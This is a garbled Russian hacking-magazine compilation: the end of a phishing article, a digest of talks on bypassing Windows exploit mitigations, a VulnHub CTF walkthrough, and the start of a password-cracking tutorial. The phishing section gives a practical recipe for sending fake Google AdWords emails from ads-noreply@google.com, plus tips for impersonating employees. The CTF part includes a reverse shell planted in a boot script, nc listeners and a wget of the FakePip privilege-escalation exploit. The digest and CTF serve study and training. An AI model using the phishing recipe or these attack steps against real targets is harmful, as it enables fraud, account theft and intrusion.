Кста ти,  вот  один  из  спо собов  сфи шить  email  мар кетоло га,  отве чающе го
за сайт. Если орга низа ция дает рек ламу в AdWords,  то воз можен такой сце‐ 
нарий.  Здесь:    —  пишем  наз‐ 
вание фей кового акка унта. Что‐то наподо бие:

https://ads.google.com/aw/preferences

. . . . . . . . . . . . . . . . . . . . Для получения расширенной 
статистики по аккаунту такому‐то подтвердите свое участие в 
Beta‐тестировании: www.bad‐ad‐google.com

Ука зыва ем наз вание акка унта

Идем сюда:   — и пишем
email получа теля.

https://ads.google.com/aw/accountaccess/users

Вы бира ем уро вень дос тупа

Поль зовате лю при дет пись мо от име ни  .ads‐noreply@google.com

При мер сооб щения от ads‐noreply@google.com

Даль ше сле дует фишин говая фор ма авто риза ции, заг рузка экс пло ита и тому
подоб ное.

В Google  ска зали:  хоть  соци аль ная инже нерия и  зло, мы не  убе рем воз‐ 
можность  отправ ки  таких  сооб щений.  Прос то  под кру тим,  что бы  через  эту
фор му  было  слож нее  отправ лять  спам.  Соци аль ному  инже неру  это го  дос‐ 
таточ но, он ведь не спа мер.

Ес ли  с мар кетоло гом  не  задалось,  заг ляни  в  .  В  ней мы
упо мина ли,  как  ата ковать  веб‐мас тера,  исполь зующе го  Google  Analytics.
Прав да, пос ле моего сооб щения в Google они прик рутили кап чу, но исполь‐ 
зовать сер вис в корыс тных целях все еще мож но.

прош лую статью

Бо нус
На пос ледок при веду нес коль ко лай фха ков.

Ес ли писать жер тве, пред став ляясь таким же име нем, как у нее, то откли ка
будет боль ше.

•

От прав ляешь  пись мо  на  любую  кор поратив ную  поч ту  ком пании,  получа‐ 
ешь ответ и видишь, как офор мля ется кор респон денция в этой орга низа‐ 
ции. Затем копиру ешь офор мле ние в сво ей фишин говой рас сылке от име‐ 
ни этой ком пании.

•

Ус лышав сооб щение авто ответчи ка о том, что сот рудник в отпуске, от его
име ни  мож но  писать  пись ма  дру гим  сот рудни кам  (яко бы  с  лич ного,
не кор поратив ного email), а так же делать пос ты в соц сетях с его «дру гого
акка унта».

•

Мно гие поль зовате ли счи тают,  что если они попали на ресурс с  «замоч‐ 
ком» в адресной стро ке, то ресур су мож но доверять.   поможет
соци аль ному инже неру, раз уж это уве личи вает кон версию.

•
Let’s Encrypt

Нет  ничего  хуже  пос ле  отправ ки  email,  чем  ответ  поч тового  демона:
«Сооб щение  не  дос тавле но,  адрес  не  сущес тву ет.  ПОД РОБНЕЕ
ОБ ОШИБ КЕ (и тут ссыл ка на твой сайт и демони чес кий хохот за кад ром)».

•

Тренд  будуще го  в  СИ  —  Find  trap,  спо соб,  ког да  челове ку  дает ся
информа цион ная  нажив ка,  и  он  сам  ищет  под робнос ти  в  поис ковиках.
Находит  твой  ресурс  (пос коль ку  нажив ка  сос тавле на  имен но  так,  что бы
выводить на него), а даль ше — толь ко полет фан тазии огра ничи вает твои
воз можнос ти. Нет ничего луч ше заин тересо ван ного поль зовате ля. К сло‐ 
ву,  имен но  таким  спо собом  мы  отлавли ваем  в  орга низа циях  про даж ных
сот рудни ков.

•

ВМЕСТО ВЫВОДОВ
О тех ничес ких средс твах защиты от соци аль ной инже нерии ты навер няка зна‐ 
ешь  луч ше  меня.  К  сожале нию,  их  недос таточ но.  Как  говорил  осно ватель
Group‐IB Илья Сач ков: «…какие бы ни были тех нологии… все ста новит ся бес‐ 
смыс ленно,  если  сот рудни ки  откры вают  подоз ритель ные  фай лы  и  кли кают
на фишин говые ссыл ки… и у всех вез де оди нако вые пароли». Поэто му в сле‐ 
дующий  раз  мы  погово рим  о  том,  как  обу чать  сот рудни ков  не  попадать ся
на улов ки соци аль ных инже неров.

WWW

•Positive Technologies об опас ностях соци аль ной
инже нерии

•В  помощь  СБ:  PHaaS  —  фишинг  как  сер вис
за рубежом

•Рос сий ский ана лог PHaaS
•Лик без  о  при мене нии  соци аль ной  инже нерии
от пен тесте ров до пра витель ств

https://xakep.ru/2018/04/05/social-engineering-recipes/
https://xakep.ru/2018/08/16/sim-swap-lawsuit/
https://xakep.ru/2018/04/05/social-engineering-recipes/#toc01.1
https://letsencrypt.org/
https://www.ptsecurity.com/upload/corporate/ru-ru/analytics/Social-engineering-rus.pdf
https://www.social-engineer.com/phishing-service/
http://icast.ru/sb
https://www.social-engineer.org/framework/general-discussion/
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ВЗЛОМ

В  пос ледние  годы  мы  оту чились  вос при‐ 
нимать  Windows  как  неч то  неверо ятно
дырявое.  Эта  опе раци онка  опре делен но
ста ла  более  стой кой  к  хакер ским  ата кам,
и основной поток ненавис ти поль зовате лей
она  теперь  собира ет  с  помощью  сво их
глюч ных  апдей тов.  Впро чем,  пос ледние
док лады  с  ИБ‐кон ферен ций  показы вают,
что  и  с  безопас ностью  у  нее  все  далеко
не иде аль но.

ОБХОДИМ ВСЮ СОВРЕМЕННУЮ КИБЕРЗАЩИТУ
МАЙКРОСОФТОВСКОГО EDGE
Henry Li, Jack Tang. Cross the Wall — Bypass All Modern Mi10tiga-

tions of Microsoft Edge // Black Hat. 2017

В  Windows  10  по  умол чанию  акти виро ваны  такие  защит ные  механиз мы,
как ASLR (Address Space Layout Randomization — ран домиза ция рас пре деле‐ 
ния  адресно го  прос транс тва),  DEP  (Data  Execution  Prevention —  пре дот вра‐ 
щение  выпол нения  кода,  раз мещен ного  в  сег менте  дан ных)  и  CFG  (Control
Flow  Guard —  охра на  потока  управле ния).  Бла года ря  им  кибер зло дею  зна‐ 
читель но  слож нее манипу лиро вать  памятью  опе раци онной  сис темы. Самый
пер спек тивный  из  этих  защит ных  механиз мов — CFG.  Если  ата куемое  при‐ 
ложе ние  защище но механиз мом CFG,  то  руки  взлом щика  оста ются  свя зан‐ 
ными,  даже  если  у  него  есть  про изволь ный  дос туп  (на  запись  и  на  чте ние)
ко все му адресно му прос транс тву опе ратив ной памяти.

Что такое CFG
CFG  пред став ляет  собой  механизм  безопас ности,  приз ванный  пре дот вра‐ 
щать  ситу ации,  ког да  «кос венные  перехо ды»  (кос венные  call/jmp)  перенап‐ 
равля ют  поток  управле ния  в  неожи дан ные  мес та  адресно го  прос транс тва.
Впер вые  появив ший ся  в  Windows  8.1,  CFG  на  дан ный  момент  реали зован
в Windows 10 в качес тве рас ширен ной фун кции безопас ности.

Суть работы CFG в сле дующем: во вре мя ком пиляции перед каж дым кри‐ 
тич ным  «кос венным  перехо дом»  встав ляет ся  спе циаль ная  фун кция,  кон тро‐ 
лиру ющая кор рек тность потока управле ния. Затем эта спе циаль ная фун кция
про веря ет,  уже в ран тай ме, целевые адре са перехо да при помощи заранее
пре доп ределен ной CFG‐кар ты (CFG bitmap).

Од нако  хакеры  не  сидят  на  мес те  и  пос тоян но  при думы вают  все  новые
и  новые  трю ки  для  обхо да  неп рерыв но  совер шенс тву ющих ся  механиз мов
кибер защиты. В этой пре зен тации док ладчик (инже нер из Trend Micro) делит‐ 
ся некото рыми из раз работан ных им трю ков. В том чис ле:
1. Трюк, при помощи которо го мож но обой ти CFG и DEP и обес печить себе
воз можность про изволь ного выпол нения кода. На при мере бра узе ра Edge
этот  трюк  экс плу ати рует  тем ную  сто рону  сис темно го  механиз ма  «прок‐ 
ладок» и не тре бует при мене ния тра дици онной тех ники ROP.

2. Трюк, при помощи которо го мож но обой ти ASLR. Экс плу ати руя логичес кие
недора бот ки  в  механиз ме  «сбор щика  мусора»,  который  исполь зует ся
в  язы ках  прог рамми рова ния  для  управле ния  памятью  при  работе
с динами чес кими перемен ными (в час тнос ти, в таких популяр ных JS‐движ‐ 
ках, как  jscript9 и chakra), зло дей может обой ти ASLR без необ ходимос ти
экс плу ати ровать какую‐либо уяз вимость.

Что такое shims («прок ладки»)
Shims  пред став ляют  собой  неболь шие  фраг менты  кода,  которые  перех‐ 
ватыва ют API‐вызовы при ложе ний — для их сог ласова ния меж ду раз личны ми
вер сиями  ОС.  Ина че  говоря,  прок ладки  пред назна чены  для  «исправ ления
сов мести мос ти»:  что бы  при ложе ния,  раз работан ные  для  более  ран них  вер‐ 
сий  ОС  и  ее  API,  мог ли  кор рек тно  выпол нять ся  и  в  текущей  вер сии  ОС.
«Прок ладка» может либо какую‐то воз можность отклю чать в текущей вер сии
ОС, либо эму лиро вать опре делен ное поведе ние ста рой вер сии API.

НОВЫЙ ТРЕНД В РАЗРАБОТКЕ ЭКСПЛОИТОВ: АТАКИ,
ОРИЕНТИРОВАННЫЕ НА ДАННЫЕ
Bing  Sun,  Chong  Xu,  Stanley  Zhu.  The  Power  of  Data-Oriented  At-

tacks:  Bypassing  Memory  Mitigation  Using  Data-Only  Exploitation

Technique // Black Hat. 2017

Пос коль ку  прак тичес ки  все  раз работ чики  при ложе ний  ста ли  поваль но
делать  акцент  на  кон тро ле  целос тнос ти  потока  управле ния  (в  час тнос ти,
поль зовать ся  май кро соф тов ским  механиз мом  CFG),  тра дици онные  методы
экс плу ата ции  уяз вимос тей  (нап равлен ные  на  зах ват  кон троль ного  потока)
ста ли  труд ноосу щес тви мы.  Как  теперь жить  хакерам? Неуже ли  им  при дет ся
повесить на крюк свои чер ные шля пы и отпра вить ся на моря про живать свои
неп равед но нажитые капита лы?

Ока зыва ется —  нет,  о  хакер ской  пен сии  речь  пока  не  идет.  Взлом щики
начали  искать  спо соб  экс плу ати ровать  уяз вимос ти,  не  зат рагивая  потока
управле ния... и наш ли его. Они при дума ли ата ку, ори енти рован ную на дан ные
(DOA,  data‐oriented  attack),  прин ципи аль ное отли чие  которой  в  том,  что она
нап равле на на фаль сифика цию в при ложе нии кри тичес ких дан ных, а не на то,
что бы изме нить поток управле ния.

DOA‐ата ки поз воля ют зло дею в чис ле про чего под клю чать к при ложе нию
нежела тель ные или отклю чен ные модули (и затем экс плу ати ровать уяз вимос‐ 
ти,  содер жащи еся  в  коде  этих  модулей)  и  изме нять  атри буты  у  некото рых
стра ниц  опе ратив ной  памяти.  Пер вый  вари ант  для  кибер зло деев  в  осо бен‐ 
ности  инте ресен,  потому  что  сов ремен ные  при ложе ния,  как  пра вило,  тянут
за  собой  при цепом  боль шие  кус ки  невос тре бован ного  бинар ного  кода,
который  вро де  бы  к  прог рамме  отно шения  не  име ет,  но  волочит ся  за  ней
мер твым гру зом. Порой для DOA‐ата ки дос таточ но изме нить лишь нес коль ко
битов  дан ных.  В  док ладе  про демонс три рова но  на  при мере  бра узе ра  Edge
(Windows 10), как при помощи DOA‐ата ки мож но обхо дить защит ные механиз‐ 
мы CFG/DEP.

WINDOWS ОТДУВАЕТСЯ ЗА УЯЗВИМОСТИ LINUX: УВЕЛИЧИВАЕМ
ПРИВИЛЕГИИ ЧЕРЕЗ WSL
Saar Amar.  Linux Vulnerabilities, Windows Exploits: Escalating Privi-

leges with WSL // BlueHat. 2018

WSL  (Windows Subsystem  for  Linux) —  доволь но‐таки  изящ ный механизм,
недав но  интегри рован ный  в  ядро  Windows  10.  Эта  под систе ма  поз воля ет
запус кать  под  Windows  исполня емые  фай лы  Linux  без  какой‐либо  их  пред‐ 
варитель ной адап тации. WSL поз воля ет бинар никам Linux исполь зовать свои
род ные  сис темные  вызовы  и  при выч ный  макет  фай ловой  сис темы.  Как  и
любое  дру гое  боль шое  (по  объ ему  бинар ного  кода)  нов шес тво, WSL  пред‐ 
став ляет собой непаха ное поле для охот ников за уяз вимос тями. Мас сивный
.sys‐файл, реали зующий WSL‐под систе му, как буд то бы сам про сит ся, что бы
его отре вер сили.

Док ладчик  делит ся  сво ими  наход ками,  которые  сде лал  при  ревер синге
WSL‐под систе мы. При этом он вос торга ется, как вир туоз но раз работ чики Mi‐
crosoft  жон гли руют  внут реннос тями  двух  совер шенно  раз ных  опе раци онных
сис тем. Док ладчик  демонс три рует  исполня емый файл  Linux,  который может
делать  сис темные  вызовы  в Windows  и  переза писы вать  память  в  ядре Win‐
dows. Со все ми вытека ющи ми, при ятны ми для лесору ба  (изви ни, прос то мы
тут под сели на ста рые кни ги по хакерс тву и под цепили там пря мой перевод
сло ва hacker. :) —  ) пос ледс тви ями.Прим. ред.

Док ладчик  щед ро  делит ся  трю ками,  которые  поз воля ют,  во‐пер вых,
реали зовать  WSL‐экс пло ит  без  леталь ного  исхо да  для  опе раци онной  сис‐ 
темы  и,  во‐вто рых,  добить ся  воз можнос ти  выпол нения  про изволь ного  кода
в сов ремен ном ядре Windows 10.

BIG DATA НА СЛУЖБЕ ВЫЯВЛЕНИЯ НЕ ОХРАНЯЕМЫХ CFG-
ПОДСИСТЕМОЙ «ВОРОТ»
Never  Let  Your  Guard  Down:  Finding  Unguarded  Gates  to  Bypass

Control Flow Guard with Big Data // Black Hat. 2017

В недале ком прош лом уже были пред став лены нес коль ко эффек тных док‐ 
ладов с опи сани ем при емов для обхо да CFG. Сре ди таких док ладов: «

»,  где  обсужда лись  раз личные  повер хнос ти  ата ки
и  уни вер саль ный  при ем  для  обхо да  CFG‐защиты  —  дос туп  к  ука зате лю
на фун кцию CF_check_function перек люча ется  с  «толь ко на  чте ние» на  «чте‐ 
ние и запись», исполь зуя для это го логичес кий недочет, най ден ный в дес трук‐ 
торе CustomHeap::Heap (из клас са Jscript9); «

»,  где  объ ясня лось,  как  искать  неох раня емые  «кос венные  перехо ды»
в  JIT‐бинар никах,  которые  генери рует  встро енный  ком пилятор  Adobe  Flash
Player.

Об ход
CFG:  сис темный  под ход

Об ход CFG на Windows 8.1 Up‐
date  3

Упо мянув  иссле дова ния  сво их  пред шес твен ников  и  зас видетель ство вав
им  свое  поч тение,  док ладчик  затем  сооб щает,  что,  хотя  «Май кро софт»  уже
выпус тила нес коль ко обновле ний для CFG, где устра нена зна читель ная часть
обна ружен ных  уяз вимос тей,  груп пе  иссле дова телей  уда лось  най ти  в  CFG
мно жес тво недоче тов, которые поз воля ют обхо дить CFG‐защиту даже тог да,
ког да в Windows 10 все самые све жие обновле ния уста нов лены.

Все эти уяз вимос ти обна руже ны при помощи раз работан ной иссле дова‐ 
теля ми  ути литы.  Эта  ути лита  опи рает ся  на  фун кци ональ ность  PMU‐модуля
(Performance Monitor Unit — устрой ство кон тро ля харак терис тик аппа рату ры),
что бы собирать кон текс тную информа цию всех кос венных вызовов, которые
про исхо дят в ран тай ме (акти вируя при каж дом кос венном вызове спе циаль но
под готов ленное  пре рыва ние,  которое  жур налиру ет  все  кос венные  вызовы).
Затем эти соб ранные дан ные ана лизи руют ся пос редс твом Big Data под хода
на  осно ве  Spark.  В  док ладе  демонс три руют ся  трю ки  и  ути литы  для  поис ка
уяз вимос тей, поз воля ющие обхо дить CFG, на при мере нес коль ких популяр‐ 
ных при ложе ний для Windows (в том чис ле IE11, Adobe Flash Player и Microsoft
Edge).

16 БАЙТ, КОТОРЫЕ ПОЗВОЛИЛИ ОБОЙТИ CFG-ЗАЩИТУ
Andrea  Biondo,  Mauro  Conti,  Daniele  Lain.  Back  To  The  Epilogue:

How to Evade Windows' Control Flow Guard with Less than 16 Bytes

// Black Hat. 2018

CFG  в  нас тоящее  вре мя  исполь зует ся  во  всех  опе раци онных  сис темах
семей ства Windows, начиная с 8.1 и закан чивая пос ледним обновле нием Win‐
dows  10.  В  док ладе  опи сыва ется  ата ка,  которая  пол ностью  ней тра лизу ет
CFG‐защиту  и  поз воля ет  переда вать  управле ние  на  любой  адрес  памяти,
воз вра щая крэ керу (опс, опять сло веч ко из клас сичес ких книг при лип ло. :) —

) воз можность выпол нять про изволь ный код.Прим. ред.
Эта ата ка ста ла воз можной бла года ря тому, что при реали зации CFG его

раз работ чики  при дер живались  ком про мис са  меж ду  точ ностью,  про изво‐ 
дитель ностью  и  обратной  сов мести мостью.  В  час тнос ти,  из‐за  стрем ления
к обратной сов мести мос ти в CFG память адре сует ся 16‐бай товыми бло ками.
Бла года ря это му в бинар ном коде исполня емых фай лов доволь но час то появ‐ 
ляют ся гад жеты, которые поз воля ют избе жать CFG‐кон тро ля.

В док ладе при веде ны резуль таты незави симо го иссле дова ния сис темных
биб лиотек Windows, которое груп па экспер тов про вела, что бы выяс нить, есть
ли  в  них  такие  гад жеты.  Обна ружи лось,  что  CFG‐гад жеты  в  чис ле  про чего
при сутс тву ют  в  самых  вос тре бован ных  сис темных  биб лиоте ках  Windows,
которые  под гру жают ся  прак тичес ки  все ми  при ложе ниями  32‐бит ной  под‐ 
систе мы  и  некото рыми  осо бо  прив лекатель ными  для  зло дея  при ложе‐ 
ниями  64‐бит ной  под систе мы  (такими  как  Edge  и  Internet  Explorer).  Каж дое
при ложе ние,  которое  под гру жает  из  сис темной  биб лиоте ки  бинар ный  код
с гад жетом, может стол кнуть ся с тем, что CFG‐кон троль не сра бота ет.

В  док ладе  опи сан  алго ритм  дей ствий,  бла года ря  которо му  уда лось
выявить эту уяз вимость в дизай не CFG, и при веде ны тех ничес кие под робнос‐ 
ти осу щест вле ния  ата ки. Демонс три рует ся ее прак тичность  через при мене‐ 
ние  RCE‐экс пло ита,  нацелен ного  на  Edge,  который  работа ет  на  64‐раз‐ 
рядной вер сии ОС Windows 10.

РЕВЕРСИМ ДВИЖОК WINDOWS DEFENDER
Alexei Bulazel.  Reverse Engineering Windows Defender’s  JavaScript

Engine // Recon. 2018

DLL’ка,  в  которой  хра нит ся  ядро  Defender’а  (MpEngine.dll),  весит
целых  11 мегабайт.  В  ней  нас читыва ется  боль ше  45  тысяч фун кций. В  этой
пре зен тации док ладчик при водит резуль таты ана лиза 1200 из них — тех, что
реали зуют фун кци ональ ность  проп риетар ного  JS‐движ ка,  которым Defender
поль зует ся для ана лиза потен циаль но вре донос ного JS‐кода. Этот JS‐дви жок
еще очень‐очень молод и, соот ветс твен но, куда менее зрел, чем те, которые
мож но най ти в бра узе рах. Так что Defender’овский JS‐дви жок — весь ма прив‐ 
лекатель ная мишень для ревер серов.

Док ладчик  делит ся  сво им  опы том  ревер синга  это го  движ ка  и  при водит
тех ничес кие под робнос ти его работы: какие типы дан ных в нем исполь зуют ся,
как  орга низо вано  управле ние  памятью,  воз можнос ти  JS/ECMAScript,  каким
обра зом  этот  дви жок  интегри рует ся  с  анти вирус ной  сис темой  Defender’а.
Кро ме того, док ладчик объ ясня ет, как раз рабаты вать свои собс твен ные ути‐ 
литы,  вза имо дей ству ющие  с  Defender’ом,  рас кры вает  обна ружен ные  в  JS‐
ран тай ме баги и делит ся трю ками про тиво дей ствия ана лизу, которы ми мож‐ 
но поль зовать ся при соз дании вре донос ных JS‐скрип тов.

mailto:vedacoder@mail.ru
https://www.youtube.com/watch?v=pH6qocUEor0
https://www.blackhat.com/docs/asia-17/materials/asia-17-Sun-The-Power-Of-Data-Oriented-Attacks-Bypassing-Memory-Mitigation-Using-Data-Only-Exploitation-Technique.pdf
https://www.youtube.com/watch?v=3deJvbBHET4
https://www.youtube.com/watch?v=oD0rKvJcGbs
https://www.blackhat.com/docs/us-15/materials/us-15-Zhang-Bypass-Control-Flow-Guard-Comprehensively-wp.pdf
https://www.coresecurity.com/blog/exploiting-cve-2015-0311-part-ii-bypassing-control-flow-guard-on-windows-8-1-update-3
https://www.blackhat.com/docs/asia-18/asia-18-Lain-Back-To-The-Epilogue-How-To-Evade-Windows-Control-Flow-Guard-With-Less-Than-16-Bytes.pdf
https://vimeo.com/273964590
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ВЗЛОМ

Се год ня  мы  зай мем ся  взло мом  вир туаль ных  машин
с   — ресур са,  пре дос тавля юще го  обра зы  опе раци‐ 
онных сис тем с сер висами, в которых «зашиты» уяз вимос ти.
Он  соз давал ся,  что бы  каж дый  мог  получить  прак тичес кий
опыт  в  области  циф ровой  безопас ности  и  сетево го  адми‐ 
нис три рова ния. Нуж но все го лишь ска чать образ вир туал ки,
пра виль но нас тро ить сеть и запус тить.

VulnHub

ПОДГОТОВКА ВИРТУАЛЬНОЙ МАШИНЫ
Для  начала  ска чаем  необ ходимый  софт  и  сам  образ  вир туал ки.  Запус кать
будем в  . Теперь выберем одну из новых вир туаль ных машин, нап‐ 
ример  .

VirtualBox
Wakanda: 1

Пос ле того как ска чали образ и уста нови ли VirtualBox, вре мя нас тра ивать
сеть. Откры ваем менед жер сетей хос та и соз даем новый адап тер.

Им порти руем вир туал ку в VirtualBox и идем в ее нас трой ки. Нам нуж на вклад‐ 
ка «Сеть». Уста нав лива ем тип под клю чения как «Вир туаль ный адап тер хос та»
и ука зыва ем недав но соз данный вир туаль ный адап тер. Обра щаем вни мание
на соз данный MAC‐адрес, так как он нам еще понадо бит ся, что бы най ти его
в сети.

Те перь мож но запус кать. Сде лаем это!

ПОИСК МАШИНЫ
Пос ле того как мы экспор тирова ли и запус тили вир туал ку, нам нуж но узнать,
какой  у  нее  IP‐адрес.  Для  это го  на  хос те  вос поль зуем ся  коман дой 

 на Kali Linux, которая находит ся в одной сети с Wakanda.
$  arp‐

scan ‐l

СКАНИРОВАНИЕ ПОРТОВ
Как обыч но, нач нем иссле дова ние машины со ска на пор тов. Для это го вос‐ 
поль зуем ся ути литой Nmap:

$ nmap ‐p‐ ‐sV 192.168.93.128

Ви дим, что запущен Apache на 80‐м пор те, SSH на 3333‐м и какой‐то мусор
на 111‐м и 56737‐м пор тах.

САЙТ НА PHP
Нач нем с сер виса на 80‐м пор те. Там висит ничем в целом не при меча тель‐ 
ный сайт без каких‐то осо бен ных фун кций.

Преж де чем фаз зить дирек тории, залезем в исходный код стра ницы. Видим
заком менти рован ную ссыл ку, веро ятно на фран цуз скую вер сию сай та.

Поп робу ем зай ти. И прав да, сайт теперь на фран цуз ском язы ке.

От кро ем Burp и поп робу ем про фаз зить параметр  .lang

И с пер вого же раза получа ем исходный код стра ницы   с помощью
уяз вимос ти  Local  File  Inclusion  и  филь тра  Base64  PHP.  Рас кодиру ем
с помощью коман ды   или через   и уви дим в самом
начале какой‐то пароль. Инте рес но, от чего же он?

index.php

$ base64 ‐D он лайн‐тул зу

ПОЛУЧАЕМ ДОСТУП ПО SSH
Вспо мина ем, что на 3333‐м пор те в машине запущен SSH. Воз можно, пароль
подой дет к нему. Но какой логин? Прой дем ся еще раз по исходни кам сай та
и уви дим, что сайт соз дал некий  . Про буем под клю чить ся, исполь зуя
получен ный пароль:  .

mamadou
$ ssh ‐lmamadou 192.168.93.128 ‐p 3333

ПЕРВЫЙ ФЛАГ
Заш ли,  видим  запущен ный  Python  2.  Теперь  вой дем  в  Bash  с  помощью
коман ды

import os; os.system("/bin/bash")

Итак, мы в сис теме. Пос мотрим,  что в домаш ней пап ке  ( ),  видим файл
, выведем его содер жимое с помощью  .

$ ls
flag1.txt $ cat flag1.txt

В ПОИСКАХ ВТОРОГО ФЛАГА
Для  начала  узна ем,  где  находит ся  файл  .  Для  это го  выпол ним 

.  Как  ока залось,  вто рой флаг  ждет  нас  в 
,  но  у  нас  нет  прав,  что бы  его  про читать,  а  вла делец  —  поль‐ 

зователь   из груп пы  .

flag2.txt $ 
locate flag2.txt /home/devops/
flag2.txt

devops developer

По ищем  еще  фай лы,  которые  ему  при над лежат.  Для  это го  пос мотрим
на резуль тат коман ды  .$ find / ‐user devops

Ви дим,  что  есть  скры тый  файл    с  весь ма  про заич ным
содер жани ем.

/srv/.antivirus.py

Су дя  по  тому,  что  файл    сущес тву ет,  этот  скрипт  выпол няет ся
при  заг рузке  от  поль зовате ля  devops.  Поэто му  добавим  туда  прос той
реверс‐шелл и перезаг рузим вир туал ку.

/tmp/test

Те перь под клю чим ся через   и пос мотрим спи сок
фай лов:  . Файл со вто рым фла гом на мес те!  :) Выводим
его  .

$ nc 192.168.93.128 4444
$ ls /home/devops

$ cat flag2.txt

ПОСЛЕДНИЙ РУБЕЖ: ПОЛУЧАЕМ ROOT(.TXT)
По искав  пуб личные  экс пло иты  для  эска лации  при виле гий  на  этой  вер сии
ядра,  мы  ничего  не  наш ли.  При дет ся  делать  руч ками.  Для  начала  сде лаем
получен ную сес сию «нор маль ной»  .по этой инс трук ции

Пос мотрим  с  помощью  ,  кто  в  сис теме  может  запус кать  прог‐ 
раммы от име ни адми нис тра тора.

sudo  ‐l

Как  видим,    работа ет  с  sudo  без  пароля,  а  зна чит,  оста лось
сде лать сов сем нем ного.

/usr/bin/pip

Гуг лим  «pip privileges escalation» и пря мо на пер вой статье  видим ссыл ку
на FakePip. Дела ем все по инс трук ции:

$ cd /tmp && wget https://raw.githubusercontent.com/0x00‐0x00/
FakePip/master/setup.py

Ме няем перемен ную RHOST на наш айпиш ник.

За пус каем у себя  , а на вир туал ке 
.

nc ‐lvvp 443 $ sudo pip install . ‐‐
upgrade ‐‐force‐reinstall

Те перь у нас есть пра ва адми нис тра тора, и оста ется одна коман да…

$ locate root.txt | xargs cat

Done!

ЧТО МЫ СЕЙЧАС СДЕЛАЛИ?
Мы  прос каниро вали  пор ты  на  вир туаль ной  машине;  выяс нили,  что  на  80‐м
пор те запущен Apache с веб‐при ложе нием на PHP, а на 3333‐м — SSH. Наш‐ 
ли  в  PHP  уяз вимость  Local  File  Inclusion  и  про экс плу ати рова ли  ее,  получив
исходный  код  стра ницы,  в  котором  перемен ной    был  прис воен
пароль от SSH поль зовате ля  .

$password
mamadou

Пер вый флаг был в домаш ней пап ке поль зовате ля. Изме нив скры тый файл
, который при над лежит поль зовате лю devops и исполня‐ 

ется от его име ни при заг рузке сис темы, мы получи ли воз можность работать
от его име ни и наш ли вто рой флаг в  . Узнав, что PIP
может уста нав ливать пакеты от име ни адми нис тра тора без пароля sudo, мы
повыси ли при виле гии до root с помощью пуб лично го экс пло ита и наш ли тре‐ 
тий флаг в  .

/srv/.antivirus.py

/home/devops/flag2.txt

/root/root.txt
На этом мы закон чим с «Wakanda: 1». Дру гие наши рай тапы можешь най ти

в бло ге  .blog.fbkcs.ru

https://www.vulnhub.com/entry/wakanda-1,251/
https://www.virtualbox.org/wiki/Downloads
https://www.vulnhub.com/entry/wakanda-1,251/
https://base64decode.org/
https://blog.fbkcs.ru/nice_shell/
https://blog.fbkcs.ru/
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ВЗЛОМ

Пят надцать  лет  назад  эпи чес кий  труд  Кри са  Кас пер ски
«Фун дамен таль ные осно вы  хакерс тва» был нас толь ной кни‐ 
гой  каж дого  начина юще го  иссле дова теля  в  области  компь‐ 
ютер ной безопас ности. Одна ко вре мя идет, и зна ния, опуб‐ 
ликован ные  Кри сом,  теря ют  акту аль ность.  Редак торы
«Хакера»  попыта лись  обно вить  этот  объ емный  труд
и  перенес ти  его  из  вре мен  Windows  2000  и  Visual  Studio
6.0 во вре мена Windows 10 и Visual Studio 2017.

ПРОВЕРКА АУТЕНТИЧНОСТИ
Про вер ка  аутен тичнос ти  (от  греч.  authentikos  —  под линный)  —  «сер дце»
подав ляюще го  боль шинс тва  защит ных  механиз мов.  Дол жны  же  мы  удос‐ 
товерить ся, то ли лицо, за которое оно себя выда ет, работа ет с прог раммой
и раз решено ли это му лицу работать с прог раммой вооб ще!

В  качес тве  «лица»  может  выс тупать  не  толь ко  поль зователь,  но  и  его
компь ютер или носитель информа ции, хра нящий лицен зион ную копию прог‐ 
раммы.  Таким  обра зом,  все  защит ные  механиз мы  мож но  раз делить  на  две
основные катего рии:

за щиты, осно ван ные на зна нии (пароля, серий ного номера);•
за щиты, осно ван ные на обла дании (клю чевым дис ком, докумен таци ей).•

Ос новные типы защит

Ес ли защита базиру ется на одном лишь пред положе нии, что ее код не будет
изу чен  и/или  изме нен, —  это  пло хая  защита.  Отсутс твие  исходных  тек стов
отнюдь  не  слу жит  неп реодо лимым  пре пятс тви ем  для  изу чения  и  модифи‐ 
кации при ложе ния. Сов ремен ные тех нологии обратно го про екти рова ния поз‐ 
воля ют  авто мати чес ки  рас позна вать  биб лиотеч ные  фун кции,  локаль ные
перемен ные,  сте ковые аргу мен ты,  типы дан ных,  вет вле ния,  цик лы и  про чее.
А в недале ком будущем дизас сем бле ры, веро ятно, вооб ще научат ся генери‐ 
ровать лис тинги, близ кие по внеш нему виду к язы кам высоко го уров ня.

Но  даже  сегод ня  ана лиз  дво ично го  кода  не  нас толь ко  тру доемок,  что бы
надол го  оста новить  зло умыш ленни ков.  Огромное  количес тво  пос тоян но
совер шаемых взло мов — луч шее  тому под твержде ние. В иде аль ном слу чае
зна ние алго рит ма работы защиты не дол жно вли ять на ее стой кость, но это
дос тижимо далеко не всег да. Нап ример, если раз работ чик сер верной прог‐ 
раммы  решит  уста новить  в  демонс тра цион ной  вер сии  огра ниче ние
на количес тво одновре мен но обра баты ваемых соеди нений (как час то и слу‐ 
чает ся),  зло умыш ленни ку  дос таточ но  най ти  инс трук цию про цес сора,  выпол‐ 
няющую такую про вер ку, и уда лить ее. Модифи кации прог раммы мож но вос‐ 
пре пятс тво вать  пос тоян ной  про вер кой  ее  целос тнос ти,  но  опять‐таки  код,
про веря ющий целос тность, может быть най ден и уда лен.

ШАГ ПЕРВЫЙ. РАЗМИНОЧНЫЙ
Ал горитм прос тей шего механиз ма аутен тифика ции сос тоит в посим воль ном
срав нении  вве ден ного  поль зовате лем  пароля  с  эта лон ным  зна чени ем,  хра‐ 
нящим ся  либо  в  самой  прог рамме  (как  час то  и  быва ет),  либо  вне  ее,  нап‐ 
ример в кон фигура цион ном фай ле или реес тре (что встре чает ся реже).

Дос тоинс тво  такой  защиты —  край не  прос тая  прог рам мная  реали зация.
Ее  ядро  сос тоит  фак тичес ки  из  одной  стро ки,  которую  на  язы ке  С  мож но
записать так:

if (strcmp(введенный пароль, эталонный пароль)) {/* Пароль неверен */
} else {/* Пароль ОK*/}

Да вай те допол ним этот  код про цеду рами  зап роса пароля и  вывода резуль‐ 
татов срав нения, а затем испы таем получен ную прог рамму на проч ность, то
есть на стой кость к взло му:

Лис тинг 1. При мер прос тей шей сис темы аутен тифика ции
#include "stdafx.h"
// Простейшая система аутентификации — 
// посимвольное сравнение пароля 
#include <stdio.h>
#include <string.h>
#define PASSWORD_SIZE 100
#define PASSWORD "myGOODpassword\n"
// Этот перенос нужен затем, чтобы 
// не выкусывать перенос из строки,
